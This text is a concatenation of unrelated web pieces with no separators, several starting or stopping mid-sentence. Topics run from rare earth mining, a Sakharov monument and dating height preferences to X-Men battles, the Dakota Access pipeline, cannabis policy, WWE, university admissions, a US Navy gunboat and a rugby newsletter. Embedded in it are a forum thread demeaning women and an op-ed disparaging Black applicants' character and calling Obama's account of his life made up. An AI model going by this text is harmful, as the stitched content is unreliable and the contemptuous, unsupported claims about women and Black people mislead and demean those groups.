company based in Canada that was bought by a Chinese consortium in 1995. Molycorp’s Smith says that producing alloys for magnets could increase the company’s profit margins by 125 percent. A recent report published by the U.S. Geological Survey estimates the total rare earth reserves in the United States at 1.5 million tons. But the report says it’s unclear how much of these reserves can be mined economically. The DOE report outlines a strategy of diversifying the international supply of rare earths, identifying substitute materials, and finding ways to use the materials more efficiently and recycle them. Researchers at Hitachi, GE, and the University of Delaware are collaborating on the development of an alternative magnet material that requires smaller amounts of rare earth materials, or none at all. But this and similar projects are still in the early stages.A monument to Andrey Sakharov, the renowned Russian scientist and HR campaigner, the “father of H-bomb” and Nobel Peace Prize winner, has been unveiled in the central Russian city of Nizhny Novgorod on Friday. A bronze bust of Sakharov sits on top of a granite boulder near the museum that has been opened in the apartment where he spent his years of exile. Friday’s unveiling was dedicated to the 25th anniversary of Sakharov’s death on December 14th. The monument was built after a public fundraising campaign started by the pro-business rightist party Civil Platform and its founder billionaire Mikhail Prokhorov. He donated 5 million rubles, or about US$100,000 last December. The ceremony was attended by Sakharov’s son and grandson, city and regional officials and human rights activists. First a committed Stalinist, and then a severe critic of the Communist regime, “the father of the Russian H-bomb,” who turned against nuclear proliferation and protested against atmospheric testing, showed Sakharov’s life was full of paradoxes. However, the mind behind the most powerful weapon ever, was a confirmed pacifist and an opponent of the arms race. His efforts were behind Moscow’s agreement to the Partial Test Ban Treaty in 1963 and in the late 1960s he campaigned for a ban of ballistic missile defense systems, arguing they would give the Soviet and American governments a false sense of security, and raise the likelihood of a total nuclear war. Sakharov was also one of the first human rights activists in the Soviet Union who criticized Communist policies and disclosed the existence of political prisoners in the country. In 1975 he received the Nobel Peace Prize
wear flats for life.” Harsh. But on the dating playing field, the tallest thrive. However, if a guy openly stated he only dated women who can rock a size 8 mini, we’d be morally outraged. But it seems far more acceptable for women to discriminate and even disparage guys that literally don’t measure up. (Would you like a side order of hypocrite with that physical double standard, ladies?) Then women moan that there just aren’t any decent men out there. Not surprising, if they’re rejecting a great swath of the male population by setting unrealistic height restrictions. According to the Australian Bureau of Statistics, the average height for a man is 175.6cm (5ft 9in). By setting the bar any higher, we’ve just rejected Jared Leto, Zayn Malik, Justin Bieber (probably a good thing) and Robert Downey Jr even before he’s ordered a latte on the first date. Steve, 33, isn’t a celebrity – he’s a media planner from Melbourne. An avid Tinder user, he’s also the lucky recipient of the message at the start of this article. “Invariably, the height conversation comes up before the hook-up. I’ve been rejected countless times on height alone. Women just want tall.” Obviously, physical attraction is an essential component to falling in love, but to disregard someone you find attractive because of their height is limiting yourself. “The question is, how many people are you screening out with your prejudices?” asks Emma Marlin, a psychotherapist. “The first step in challenging our own subconscious attraction biases is to notice them, and then challenge your beliefs. “We’re told we can’t help who we’re attracted to, but I disagree,” she adds. “It’s much healthier, and you have more chance of finding love, if you think about the qualities you want to find, rather than the physicality. “For example, I want someone kind, who doesn’t play games, isn’t into drama, has a good relationship with alcohol, who loves their family and loves themselves, but in a healthy way. Then you can experiment by doing something different. Go on a date with someone who ticks all of your boxes but doesn’t match up to your height restrictions. You may be pleasantly surprised. If your values align, your attraction may, too.” Marion, 40, took that advice and is now happily married to Arthur, who’s a good inch and a half (4cm) shorter. “I did a deal with my therapist that I’d date guys I’d previously ruled out,” she says. “When I got chatting with Arthur online, we just clicked, so we went on a date. I fell in love with the person, not the height. At first, it was challenging, even uncomfortable, dealing with my own prejudice and society’s. Now I take great pleasure in people noticing us as a couple. It’s like I’m defying convention. There’s something liberating in that.” Download the Sunday Style app here Follow Sunday Style on Twitter here Follow Sunday Style on Instagram here Like us on Facebook hereYour life is a JOKE comparing to the easy female's life Scott Disick Member Threads: 24 Joined: Jun 2015 Reputation: Posts: 54Threads: 24Joined: Jun 2015Reputation: 25 #1 Google Wrote: http://www.businessinsider.com/man-leave...ard-2015-4 Quote: A man offers $3,000 — after the waitress told him she had been served with an eviction notice earlier in the month. http://www.dailymail.co.uk/travel/travel...rtner.html Quote: (female)Bartender spends 10 YEARS sailing around the world after a generous benefactor gave her a yacht Quote: too many boys like me and it's so confusing! - TeenHelp http://www.teenhelp.org/.../t86518-too-m...confusing/ Oct 16, 2011 - 4 posts - ‎4 authors okay, so basically i moved to a new school for 6th form (year 12 and 13) and within like..the space of about 6 weeks, i have had 4 boys seem. Quote: Guys Fall in Love With Me Waaay Too Quickly. What Can I Do To Slow Things Down? Dear Evan, This is a problem I’ve had ever since I can remember and I know I’m not alone. I tend to attract men who put me on a very high pedestal from which I eventually fall, very hard and very fast. I’m guessing this is because I have some attractive qualities (intelligence, exotic features), and because I fit into a few different categories, which makes it easy for some men to fantasize about me. How pathetic is your life as a male nowadays, look at how female are being worshipped as if they are superior. Just lol at your worthless existence. http://www.dailymail.co.uk/tvshowbiz/art...Khloe.html Find Reply JustLolAtYourMaxilla Member Threads: 14 Joined: Jun 2015 Reputation: Posts: 224Threads: 14Joined: Jun 2015Reputation: 20 #2 :alfalfa: I was destined to be sub-subhuman shit. I want to go ER now:alfalfa: I was destined to be sub-subhuman shit. Find Reply autism awereness bot Unregistered #3 this is exactly what autism looks like Reply hairlesshead Member Threads: 31 Joined: Dec 2015 Reputation: Posts: 154Threads: 31Joined: Dec 2015Reputation: 0 #4 bump Find Reply friday Super Poster Threads: 37 Joined: Aug 2015 Reputation: Posts: 1,136Threads: 37Joined: Aug 2015Reputation: 0 #5 Girls Getting paid good money to post selfies if they are hot and have lots of folllowers on twitter/insta is a tough pill to swallow Find Reply hairlesshead Member Threads: 31 Joined: Dec 2015 Reputation: Posts: 154Threads: 31Joined: Dec 2015Reputation: 0 #6 bump Find Reply hairlesshead Member Threads: 31 Joined: Dec 2015 Reputation: Posts: 154Threads: 31Joined: Dec 2015Reputation: 0 #7 bump Find Reply Kim Kardashian's Cameraman Member Threads: 42 Joined: Dec 2015 Reputation: Posts: 227Threads: 42Joined: Dec 2015Reputation: 20 #8 This is what I've been saying all along, having a vagina = automatically life on easy mose Find Reply5 Major Battles That Cyclops Won by We all know Cyclops has been the leader of the X-Men for a long time. Heck, it’s sort of ingrained into his personality already. He’s the silent and boring character whose job is to reprimand the cool heroes like Wolverine or Gambit whenever they do something awesome and reckless. What a lot of people don’t realize is that leading a group of super-powered individuals, each with their own idiosyncrasies and gigantic egos, is no mean feat. Being able to order, coax, cajole, sometimes even manipulate his people to get them to perform the way he needs to is already another mutant power in itself. Yet Scott Summers was able to do so consistently during the darkest period in mutant history and lead the X-Men out of one impossible situation after another. Below are some of the battles that the X-Men fought in helmed by Cyclops. Using all his learned tactics and strategies, Cyclops pulls out a string of stunning victories despite being either handicapped by lesser troops or unfavorable circumstances. Battle of Utopia Against Norman Osborn (Dark Reign) Let’s start with an even battle that shows Cyclops’s skill at pre-planning. During the events of Dark Reign, Norman Osborn, the former Green Goblin, became the head of HAMMER, the peacekeeping force that replaced S.H.I.E.L.D. Among his many actions, Osborn created his own set of X-Men, commonly known as Dark X-Men, and was hellbent on eliminating Cyclops and his group from San Francisco. After a few skirmishes and maneuvering, things finally came to a head when Cyclops had his science team raise Asteroid M, Magneto’s old orbital space station, from the depths of San Francisco Bay, and announced that the X-Men had left the United States due to Osborn’s actions against mutants. His reputation on the line, Osborn assembled his formidable Dark Avengers, along with the Dark X-Men, and invaded the asteroid. With heavy hitters such as the Sentry and the war god Ares on his side, Osborn was confident of an easy victory. What he didn’t count on, however, was Cyclops’ detailed preparations. Cyclops first took out Osborn’s big guns – he had Emma Frost link herself telepathically with the Sentry and brought out his human persona: Bob Reynolds, who then took control and flew away from the fight. For Ares, Cyclops had Dani Moonstar reach out to the Asgardian god Hela weeks before to borrow powers specifically to take down a god. The rest of the X-Men swarmed the handful of Dark Avengers and Dark X-Men fighters – Colossus took on Marc Gagan with the Venom symbiote, X-23 fought Daken dressed as Wolverine, Archangel fought Bullseye parading as Hawkeye, Wolverine against Omega. It was complete pandemonium! But the real ace in Cyclops’s plan was not a mutant with powers, but simply inviting several reporters into Utopia to capture the live battle. His powerful soldiers being taken out one by one, Osborn finally demanded that the outgunned Dark Avengers not hold back anymore and simply kill every mutant on the island. But with the media broadcasting everything live, his order was countermanded by his lieutenant Moonstar, who reminded him that it would be public relations suicide if the whole world witnessed a massacre. Tucking his tail between his legs, Osborn was forced to call a retreat. For the X-Men, it was a resounding victory in the sense that they managed to establish an independent nation out of the United States control. Battle of Utopia Against Bastion (Second Coming) This is actually one of my personal favorites. X-Men Second Coming was a crossover storyline and the last part of a trilogy, with the first two being Messiah Complex and Messiah War. Cable and his ward, Hope Summers, return to the present time and trigger an all-out attack by the combined enemies of the X-Men: the Right, the Purifiers, the Sapien League, and the Mutant Response Division all pooled their resources and manpower under the leadership of Bastion. Intent on eliminating the supposed Mutant Messiah, Bastion commits all of his forces into making sure the extinction of mutantkind pushes through. First, he systematically takes out all of the X-Men’s teleporters (Vanisher, Magik, Ariel, and Nightcrawler), then traps Utopia and a portion of San Francisco under a large energy dome. Inside, a small portal from the future materialized and started churning out Nimrod-type sentinels in successive waves. Cut off from the rest of the world without reinforcements, the X-Men battled it out with the Nimrods within the streets of San Francisco, using the familiar terrain to their advantage. Despite their valiant efforts, the number of their injured increased steadily, as did the number of Nimrods coming out of the portal with each new wave. Their backs to the wall, Cyclops decided on a long gamble and sent his black ops squad X-Force into the future to shut down the source of the Nimrods. The decision was a particularly hard one since Cable only had one time jump left, meaning the strike team would not be able to come back. Cyclops had just ordered the death of his son and teammates. Meanwhile in the present time, Cyclops committed every available mutant on Utopia to assist in the city’s defenses. The situation was so desperate he even resorted to unleashing Legion, the extremely unstable and dangerous son of Professor X, to help with the battle. Luckily, Cyclops’s gamble paid off when X-Force succeeded in shutting down the source of the Nimrods. They even found a way to return to the present time at the cost of Cable’s life. Rebuffed, Bastion decided to take matters into his own hands and attacked the reeling X-Men head on. But seeing her foster father die in front of her triggered something within Hope, enabling her to harness her powers and obliterate Bastion and the energy dome trapping the X-Men. This was probably, in my opinion, the closest the X-Men came to extinction. Battle of Utopia Against Vampires (Curse of the Mutants) When Xarus, son of Dracula and leader of the united vampire clans, decided to make San Francisco the new home of the vampires, he extended a friendly hand towards Cyclops and offered to conquer the world with the mutants, except his real ulterior motive was to turn all of the X-Men into vampires. Cyclops responded as any sane person would and sent teams of X-Men to eradicate the city streets of vampires with extreme prejudice. Their efforts were still not enough though when a quick scan showed that the vampires vastly outnumbered the mutants in San Francisco – we’re talking thousands against less than two hundred mutants. Knowing that the X-Men wouldn’t be able to withstand a vampire assault of those numbers. Cyclops, against the advise of some of the X-Men, decided to resurrect their old foe: Dracula. Banking on the idea that the lord of the vampires would not be pleased with his son in charge, Cyclops decided that the calculated risk was worth it and set Dracula loose. After all, sometimes it’s better the devil you know. To add more bad news, Jubilee was captured by Xarus and unknown to them, had already been turned into a vampire. She was cunningly used as bait for Wolverine when he went on a rescue mission for her. He fell for the trap and was also turned into a vampire. With the most lethal X-Men added to their massive numbers, Xarus launched an all-out assault on the island of Utopia through land, air, and sea. Cyclops rounded up all the mutants whose powers manifested in having a hard exterior or generated some type of armor, dubbing them his “tough skins,” and used them as his main infantry against the vampire horde. He then unleashed Angel’s dangerous alternate persona Archangel and fielded him alone against the group of flying vampires. Under water, Utopia was defended by Atlantean warriors led by Namor, who made the under level of the island their home after escaping extermination from Norman Osborn. Even unorthodox ideas were put into motion as Cyclops had a Catholic priest brought in to bless Iceman. The battle was ferocious and the mutants found themselves pushed to a corner. Xarus was eager to break their spirits and unleashed the vampire-turned Wolverine as the coup de grace. Wolverine proceeded to wreak further havoc on the mutants’ ranks and finally came face to face with Cyclops. It was here that Cyclops used his ace in the hole: fully knowing that Wolverine will be captured and turned, he had his science team inject Wolverine with nanonites that could turn his healing factor on and off. In that tense face-off, he activated Wolverine’s healing factor, which fought the vampire infection and reverted Wolverine into a mutant. With his lethal lieutenant back on their side, Cyclops and the X-Men rallied and proceeded to clean house. Archangel and Namor easily routed the vampires on both air and land, and Iceman’s holy ice proved to be a devastating weapon against the vampire horde. The day ended with a resounding victory for the X-Men with zero casualties, while Xarus’s losses was catastrophic. Before Xarus could organize a second wave to attack Utopia, Dracula appeared in his lair and challenged him for the leadership of the vampire clans. The fight was a lopsided one and Dracula easily disposed of his son, ending the vampire threat in San Francisco. Battle of San Francisco Against The Juggernaut (Fear Itself) Cain Marko, also known as the Juggernaut, was among the seven individuals bestowed with a magical hammer by the Serpent, brother of the Asgardian ruler Odin. It turned the unstoppable psychopath into a near invulnerable mass of destruction called Kuurth, and he began trekking through San Francisco to root out the mutants residing there. Working with the city’s mayor, Cyclops started fielding his core team to assess Juggernaut’s new powers. The plan was to remove Juggernaut’s helmet so that the X-Men’s psychics can telepathically take him down – the old tried and tested protocol against the Juggernaut. But with new powers from the hammer, the X-Men’s plan failed, which led to Mayor Sinclair asking about their Plan B. Cyclops then delivers an amazing line that highlights his pre-preplanning skills worthy of Batman. “No, not Plan B. Plan 2. Plan B implies we only have 26.“ Cyclops’s next plan was to have all of Utopia’s mutants assemble near the front line. But instead of having a large number of students risk their lives, his real plan was for Hope Summers to absorb all of their powers. Hope charged into Kuurth and managed to forcefully remove his helmet before passing out from the strain. His helmet protection gone, the battle seemed over when Emma Frost tried to shut down Kuurth’s brain telepathically, only to be overpowered by his magically enhanced mind defenses and rendered catatonic. Their most powerful telepath and the mutant messiah out of the fight, Cyclops began using various mutant combinations to see what would work against the unstoppable Kuurth. All of them failed spectacularly until Cyclops finally lucked out with “Plan 13.” He released the dangerous Magik from Utopia’s prison in order to use her knowledge of the mystical and arcane. Accompanied by Kitty Pryde and Colossus, Magik made her way to the dimension of Cyttorak, the deity that gave Cain Marko his Juggernaut powers. Magik reported to Cyttorak that his avatar of destruction was being used by someone else, which had the desired effect of Cyttorak stripping Marko of his powers. In need of a new avatar that would sow destruction solely in his name, the demonic deity offered the role to Magik, but Colossus accepted in her stead. His already formidable mutant ability boosted by the destructive powers of the Juggernaut, Colossus immediately went to engage the lesser-powered Kuurth in a fight. Juggerlossus – as I like to call him, went toe to toe with Kuurth and managed to have the Serpent order his retreat rather than risk his death. Because of the X-Men’s efforts, and Cyclops’s leadership, no civilian casualties were recorded and collateral damage to San Francisco was kept to a minimum. Battle of San Francisco Against Skrulls (Secret Invasion) During the Secret Invasion event, the shape-shifting Skrulls infiltrated the superhero community to spread paranoia and mistrust in order to conquer the planet. After subduing New York with their armada, a large Skrull task force was sent to San Francisco to bring it into the fold. H’kurrek, the Skrull commander in charge of the task force, began his invasion by having his ships fire into populated buildings and air dropping Skrull troops into the ground that easily overwhelmed the local police force. However, his intelligence group failed to discover that San Francisco was under the protection of the X-Men. The mutants swiftly responded with a counter-attack and bested the Skrull ground troops with ease. H’kurrek then unleashed his Super-Skrulls – Skrulls augmented with the combined powers from Earth’s heroes. The X-Men were outfought and with injuries piling up, Cyclops called for a retreat to regroup and organize their attacks as the Skrulls successfully established a beachhead on San Francisco. Cyclops’s next move was using guerrilla warfare by utilizing all of the X-Men’s teleporters to simultaneously hit Skrull patrols in the city. H’kurrek considered it a stroke of luck when one of their search drones detected Pixie, one of the X-Men’s teleporters, alone without backup. Intending to have her dissected so he can add her mutant powers to the Skrull arsenal, H’kurrek sent a Super-Skrull fused with the powers of Cyclops, Wolverine, Colossus, and Nightcrawler after her. However, it turned out to be a trap laid by Cyclops as his black ops squad X-Force handily subdued the Super-Skrull and delivered its corpse over to Beast, who was looking for a way to neutralize the enemy. Frustrated by the turn of events, H’kurrek decided to round up human hostages into buildings and threatened to fire on them with his ship’s cannons unless the X-Men surrendered. His hands forced, Cyclops and the X-Men surrendered to the Skrulls willingly. Faced with a gloating H’kurrek, Cyclops surprised his opponents when he demanded the Skrull commander’s surrender. Turns out, the X-Men sprayed themselves with a variation of the Legacy virus, a devastating plague against mutants, that specifically targeted Skrull physiology instead. Beast, from his research on the Super-Skrull, figured out that the mutants and Skrulls share some similar genes that allowed the virus to be transferred. When the X-Men surrendered, they were actually infecting the Skrull fleet. Cyclops issued his terms in exchange for the cure, but H’kurrek decided to call his bluff. However, when he had one of the Skrull psychics read Cyclops’s thoughts, the psychic confirmed everything to be true. Realizing his complete defeat, H’kurrek decided to destroy his entire fleet rather than risk the chance of having the virus spread further. The city of San Francisco was saved yet again due to Cyclops’s willingness to use what some might call unethical options in warfare. AdvertisementsIn the wake of the Obama administration’s surprise decision to block a portion of the Dakota Access Pipeline, company reps seem confident they need only wait for President-elect Trump to keep building. But the lawyer who represents the Standing Rock Sioux says it won’t be so easy to overcome the legal hurdles. “If an agency decides that a full environmental review is necessary, it can’t just change its mind with a stroke of a pen a few weeks later,” EarthJustice attorney Jan Hasselman told Grist. “That would be violation of the law, and it’s the kind of thing that a court would be called upon to review. It doesn’t mean they’re not going to try.” Trump could force the pipeline through along the disputed route at Lake Oahe. He technically could ignore the Corps’ decision to conduct a public Environmental Impact Statement with his newfound executive powers, but that might not be wise. “He could in the sense that you can rob a bank, but you’d get in trouble,” Hasselman said. If that were the case, Standing Rock would be prepared to take the matter to courts again, their lawyer told Grist. “Circumventing the environmental assessment now that the agency has determined it’s the right course of action shouldn’t pass muster under legal standards,” he added. For example, the U.S. 9th Circuit Court of Appeals has ruled that federal agencies can’t just flip on a dime on settled rulemaking that is based on facts because a new administration has taken over. The Supreme Court this year declined to take up the case, leaving the circuit court’s decision standing that the Bush administration couldn’t exempt the Tongass rainforest in Alaska from a conservation rule, when the agency’s fact-finding found otherwise. Unless a conservative Supreme Court reverses course, then Standing Rock still has that advantage in a Trump era. Going further to weaken environmental regulations overall would require a more robust change to the law with congressional action. With the law on their side for now, environmental justice advocates could challenge administration decisions just as they did in the Bush administration. (Talk about government interference: Trump is reportedly also considering privatizing oil-rich Native American land to boost oil companies.) Energy Transfer Partners has its share of options, too — even if Trump didn’t reverse the decision, it could still sue to maintain the current route. One of the surer bets on what’s next is that the company is going to have to wait longer to build its pipeline than it originally intended. Energy Transfer Partners wanted it to be operational by the end of the year. If the Corps decision holds, it could potentially be tied up as long as a year or two. It would have to undergo a full environmental assessment of route alternatives, which is the traditional way government agencies solicit input from the public and weigh the pros and cons of environmentally risky projects. The pipeline is far from dead. But it’s also far from a sure thing.Theresa May’s attitude towards drug policy is backward – the legalisation of cannabis could provide the UK with many economic and social benefits. Let’s end the war on drugs. More and more countries are becoming open towards the legalisation of cannabis and other drugs. Germany and Canada are making steps towards it, many American states (most recently California, Massachusetts, and Nevada) have legalised it for recreational use, and the UK… has banned legal highs in the Psychoactive Substances Act. Oh. With the Snooper’s Charter and internet censorship looming, and Theresa May’s staunch anti-drug stance evident, it looks like the UK is going backwards in terms of civil liberties. Yet the Prime Minister only needs to look at countries such as Portugal and the Netherlands to see how the legalisation (or at least decriminalisation) of drugs can bring about huge economic benefits, as well as profound social change. For example, the Netherlands decriminalised cannabis for use in public places and cannabis “coffee shops” in 1976 with the Opium Act, as long as the user is in possession of less than 5 grams. The government believed that keeping cannabis use to safe spaces like “coffee shops” would prevent young people from moving on to “hard” drugs such as cocaine and heroin. A report from the Open Society Global Drug Policy Program shows that the Opium Act has very much succeeded its aim. In the report, only 14% of cannabis users surveyed reported that their suppliers also offered other drugs. Compare that to Sweden’s 52% and it becomes a telling statistic. The separation of hard and soft drug markets in the Netherlands means that many Dutch have limited exposure to cocaine or heroin – Holland has the lowest number of problem drug users in the EU, according to the report. Or take a look at Portugal. In 2001, the government passed legislation that meant that the possession of small amounts of an illegal drug would no longer be a criminal offence punishable by prison, but a health problem solved by therapy. Dealers and growers still face jail time, but help is given to those who need it, instead of a prison sentence that doesn’t address the underlying issue and take up government resources. 15 years later, and Portugal isn’t some drug-laden wasteland where addicts roam the streets and cartels control everything – in fact, it’s quite the opposite. Drug-related HIV infections fell by over 90 per cent from 2001 to 2012, and as of 2015 Portugal has the second-lowest drug death rate in the EU at three deaths per million people. Not only that, but the amount of adults who said that they’d taken drugs in the past year fell between 2001 to 2012, and young Portuguese use the fewest legal highs out of any EU country. Not bad for a country that, in 1999, had one per cent of its population addicted to heroin and the highest rate of drug-related AIDS death in the EU. Legalising cannabis and other drugs could also benefit the UK economically. A tax on drugs could bring more money to the Treasury – neoliberal think tank The Adam Smith Institute (backed by MPs such as former Deputy Prime Minister Nick Clegg and former Health Minister Norman Lamb, among others) claims in a report that a legal cannabis market could potentially net between £750 million and £1.05 billion, which could be fed into the NHS, an organisation that desperately needs funding. In fact, in 2015 the US state of Colorado made so much revenue from cannabis sales that it legally had to give some back to the population in the form of tax rebates! With less arrests, the number of prisoners would be reduced, and therefore taxpayer funds would be saved – the 1,363 cannabis-related prisoners in England and Wales costs the government £50 million a year. Why should someone have their life ruined just because they ingest a certain plant – and why should taxpayers have to foot the bill? Regulation could also be put in place, were cannabis to be legalised. While criminal gangs can cut costs with a number of harmful substances, government-regulated cannabis growers would be put under checks in order to ensure that their product is pure and not tainted. It should also be put under the same regulations that tobacco and alcohol are in terms of selling. It shouldn’t be sold to anyone under 18, it should be sold with plain packaging, and there should be plenty of resources that show the medical problems that can stem from cannabis and where to get help in case of addiction. Plenty of studies have also revealed cannabis’ medical benefits. It’s a depressant, which means that those who suffer from anxiety, depression, ADHD, PTSD, or other mental problems can use it to relax, as well as cannabis’ ability to act as a painkiller. A study in May 2012 showed that it could ease multiple sclerosis symptoms, while another showed that it had the possibility to ease the tremors of those suffering from Parkinson’s disease. Granted, there’s a lot that we don’t know about cannabis, and scientists are still investigating its medical use, but surely legalising it would give researchers more data with which to determine its usefulness. Sure, cannabis does have its dangers, but so do other legal drugs like alcohol and tobacco. Sure, cannabis has its medical downsides, but so do alcohol and tobacco. In 2014, there were 8,697 alcohol related deaths in the UK according to the Office for National Statistics, while in 2013 78,200 people died prematurely for tobacco-related reasons. So why don’t we legalise it? Cannabis has medical benefits, is generally safer than alcohol and tobacco, and legalising it would bring in plenty of money for the government. If Portugal is anything to go by, the best way forward is mass drug decriminalisation. It’s time for governments to embrace legalisation and reap the benefits – the war on drugs has failed, so now is the time to move to more progressive policies. Want to support young writers? Then please share! Wake Up and Smell the Cannabis was last modified: byPaige hasn’t been heavily featured on WWE programming for quite some time. During the WWE Draft, she was drafted to Raw, but WWE is now two weeks into the brand extension, and Paige has yet to make an appearance on WWE television. There has been a lot of speculation about her absence, especially considering a lot of the things that have been written about her lately. Instead of the WWE Universe talking about Paige in the ring, they’ve been talking about her social media activity on her relationship with fellow WWE Superstar Alberto Del Rio. It was reported that the couple was unhappy about being drafted to separate brands, but it was revealed by CageSideSeats.com that WWE might have separated them because of her social media activity. [Image via WWE.com] The WWE Universe is clamoring for more Paige on WWE programming, and they aren’t getting it. When that happens, it leaves the fans to speculate about her status. That speculation only intensified when the news broke on RingSideSeats.com that Paige was being pulled from WWE’s overseas tour of Australia and New Zealand. During the tour, Paige was originally scheduled to team with the current WWE Women’s Champion Sasha Banks against the team of Charlotte and Dana Brooke. Since Paige is off the tour, those matches are now being featured as handicap matches, but WWE may give The Boss another partner. The bigger story here is why was Paige was pulled from WWE’s overseas tour? The natural instinct for a lot of people was to assume something had happened in her relationship with Alberto Del Rio since that is what most of the buzz surrounding Paige has been revolving around recently. However, Paige’s mother revealed on Twitter earlier today that it not the case. Instead, Saraya Knight revealed the following: null There were a lot of theories about why Paige was missing the WWE overseas tour. A lot of people thought it could be backstage heat. Others threw out the idea that she might be pregnant, which would explain her absence. Like many theories the WWE Universe creates when they are left to their own speculation, they were proven to be incorrect. Her mother has finally revealed that her daughter is dealing with an injury. Unfortunately, that answer leads to a different series of questions about Paige’s status with WWE. The WWE Universe is going to want to know the severity of the injury, how long she will be out of action, and when she suffered the injury. [Image via WWE.com] If Paige’s injury had been severe, there is a good chance that it would have been reported on sooner. Whatever Paige is dealing with now seems like it is something minor, but that is just further speculation without any facts. The point is that she won’t be a part of WWE’s upcoming overseas tour this month, and it is very likely she won’t be appearing on WWE programming either. There was a rumor that WWE could be planning a feud between Paige and Stephanie McMahon in the near future, which would be a huge step up for her to revamp her character on Raw when she returns to WWE programming. She’s been bouncing back and forth between being a face and a heel far too often, so establishing herself again would be a good thing for her on WWE TV. Ultimately, the WWE fans are speculating on Paige’s status because they want to see her perform. False rumors and speculation are good things because it means the WWE Universe is still thinking about Paige despite her inconsistency on WWE television. It could be awhile before she returns, but the WWE Universe will welcome her back with open arms. The big thing is she’s also got to stay healthy and make sure that when she returns to WWE, she’s going to stay in the ring. [Image via WWE.com]With the Supreme Court set to hear argument this week on the use of racial preferences in student admissions by state universities, the deans of Harvard and Yale law schools ( Martha Minow and Robert Post) defend this practice in a Washington Post op-ed. Part of the defense consists, as usual, of touting the supposed virtues of a “diverse” student body. We have written about this tired, disingenuous argument in the past and will do so again as this latest case – Fisher v. University of Texas – moves toward resolution. But Minow and Post present a more novel argument, one that makes the “diversity” riff seem well-reasoned and intellectually honest by comparison. Minow and Post suggest that their institutions consider race only insofar as it helps them assess the “character” of applicants. They do so by considering what applicants say about “the role that race has played in their lives.” Let’s try to understand this. Elite institutions like Harvard and Yale typically admit classes in which Blacks are represented in percentages vastly greater than the percentages that would result from consideration of only objective criteria – essentially grades and test scores. A class that, under race blind criteria, might be only 3 percent Black will end up with, say, 10 percent Black representation. Are we to believe that this huge bumps is results from the superior character of Black applicants as a group? In the eyes of Minow and Post, Black character must exist on a significantly higher plane than White character. Long ago, employers and educational institutions sometimes justified racial discrimination based on claims that Whites possessed superior character. Blacks sometimes were said to be lazy, for example. But now it is Blacks whose character has been deemed massively superior. What evidence of this superiority do Minow and Post rely on? In practice, as their op-ed makes clear, they rely on the ability of Blacks to write about race in some form of personal essay. In other words, superior character resides in the ability of Black applicants to BS law professors and admissions officers who are dying to be BSed. No one verifies the stuff that appears in these personal statements about race. Heck, no one verified Barack Obama’s BS about the role race played in his life until he had been president of the United States for three years. At that point, even the sympathetic David Maraniss found that Obama was making it up. In the context of law school admissions, there is one fact that provides a real glimpse into the character of applicants: How did they do during their four years in college? Many law school applicants will already have received preferential admission from the undergraduate institution they attended (I wonder how often this fact makes its way into the personal essay on how race affected the applicant’s life). What did they make of this opportunity? Allowing for, say, a year to acclimate themselves, did their performance as an undergraduate demonstrate the qualities Minow and Post say are important, such as “curiosity,” “drive,” and “determination”? If so, their college transcript will reflect it, and chances are they won’t need the massive artificial edge conferred through race based admissions. Either way, though, performance is always a more reliable indicator of character than words. But I doubt that Minow and Post are interested in individual character (isn’t that just a “social construct,” anyway). More likely, their interest consists of admitting a large number of Blacks (and perhaps other minorities) because they think it’s the right thing to do as a matter of “social justice.” One could respect them for this if they were more honest.For other ships with the same name, see USS Erie USS Erie (PG-50) was the lead ship of the Erie-class gunboats of the United States Navy. Erie was the second US Navy ship to bear the name. The first, Erie, was named after Lake Erie, while this Erie followed the US Navy naming practices of gunboats, like cruisers, being named after US cities. Erie protected US interests during the Spanish Civil War, operated as a training ship for the United States Naval Academy, and was a convoy escort ship during World War II. She operated in the Pacific Ocean, Atlantic Ocean, and Caribbean Sea until torpedoed and fatally damaged by U-163, off Curaçao, in 1942. Construction and commissioning [ edit ] Erie was ordered in June 1933, and laid down at the New York Naval Shipyard on 17 December 1934. Erie was the first ship to be built in the Yard's No. 1 dry dock, instead of on
, 2017 at 6:32pm PDT A big shout-out to the good people of Bowen, Mackay and Sarina affected by last week's natural disaster – look out for news soon on the next Cowboys blitz with community partner North Queensland Bulk Ports coming your way with club legends Brent Tate and Matthew Bowen. Queensland Premier Annastacia Palaszczuk took to Twitter to congratulate the team on Friday night after their win over South Sydney. After a challenging week for the state, the Premier tweeted "Thanks @nthqldcowboys we needed that!". Matt Scott is creating some positives out of his time on the sideline with a serious knee injury – while the players will miss him on the field this year while he rehabs, his presence in and around the team will be strong. The central Queensland product will be heavily involved in team meetings, game review and planning this season, specifically with the team’s crop of emerging young forwards. Scott's re-signing last week to 2019 will set him up as a 16-season Cowboy, and the co-captain spoke from the heart on Instagram on his decision – we're looking forward to sharing the next three years with this great leader. A big congratulations to the Cowboys Leagues Club, with the North Queensland Toyota Cowboys' social home named best club cafe/coffee shop in Queensland at the 2017 Clubs Queensland Awards for Excellence. The Club also a state finalist for a number of awards – well done to their dedicated team, led capably by general Manager Clint Williams. Two of the busiest men at the club of late are team physio Steve ‘Chicken’ Sartori and rehab trainer Ash Graham. With the NRL squad having a number of medium to long-term injuries, managing the rehab group takes plenty of planning and logistical acumen. Thankfully, the club has two of the best in the business and the injured roster is getting shorter with Lachlan Coote returning from a calf tear on Friday night and back-rower Shane Wright (broken jaw) turning out for the Mackay Cutter v PNG Hunters in the Queensland Cup. The next targets for return – roughly all at the same time – in a few weeks will be half Kyle Laybutt (knee), centre Justin O’Neill (hamstring), utility Ray Thompson (knee) and winger Antonio Winterstein (broken arm). Matt Scott, Shaun Hudson and Josh Chudleigh (ACLs) are all long-term injuries. Doting dad Johnathan Thurston is outnumbered 4-1 at home with the recent arrival of third daughter Lillie Rose. Wife Samantha's Instagram pic with all three as newborns has them hard to tell apart. JT was all smiles at Cowboys HQ last week, telling staff that Mum and baby are doing well. Congratulations, Thurston family. Jet-setter Brent Tate took a whirlwind trip to Papua New Guinea last week, thanks to our major partner Trukai Industries. Meeting with staff from PNG’s leading rice products supplier, Tatey also headed out on the field to coach young fans from the rugby league-mad nation as part of a clinic at the National Football Stadium. This also meant that our Cowboys were on board the inaugural Air Niugini direct flight back into Townsville Airport – an exciting progression for our growing supporter base in PNG! Tuesday's open training session will be a choice school holiday entertainment option for members and fans. The event kicks off at 9am at 1300SMILES Stadium with free entry and member giveaways and competitions. Membership will be on sale and the Ticketek agency will also be open for you to pick up your match tickets for Saturday. Cowboys Ray Thompson, Josh Chudleigh and Shane Wright took to the regions last week to meet with young North Queensland rugby league fans as part of the Cowboys Adopt-a-School program, supported by Stockland Townsville. Students in the cane growing district of Ayr were given important messages about cane train safety, while our neighbours across the water on Palm Island played a role in an 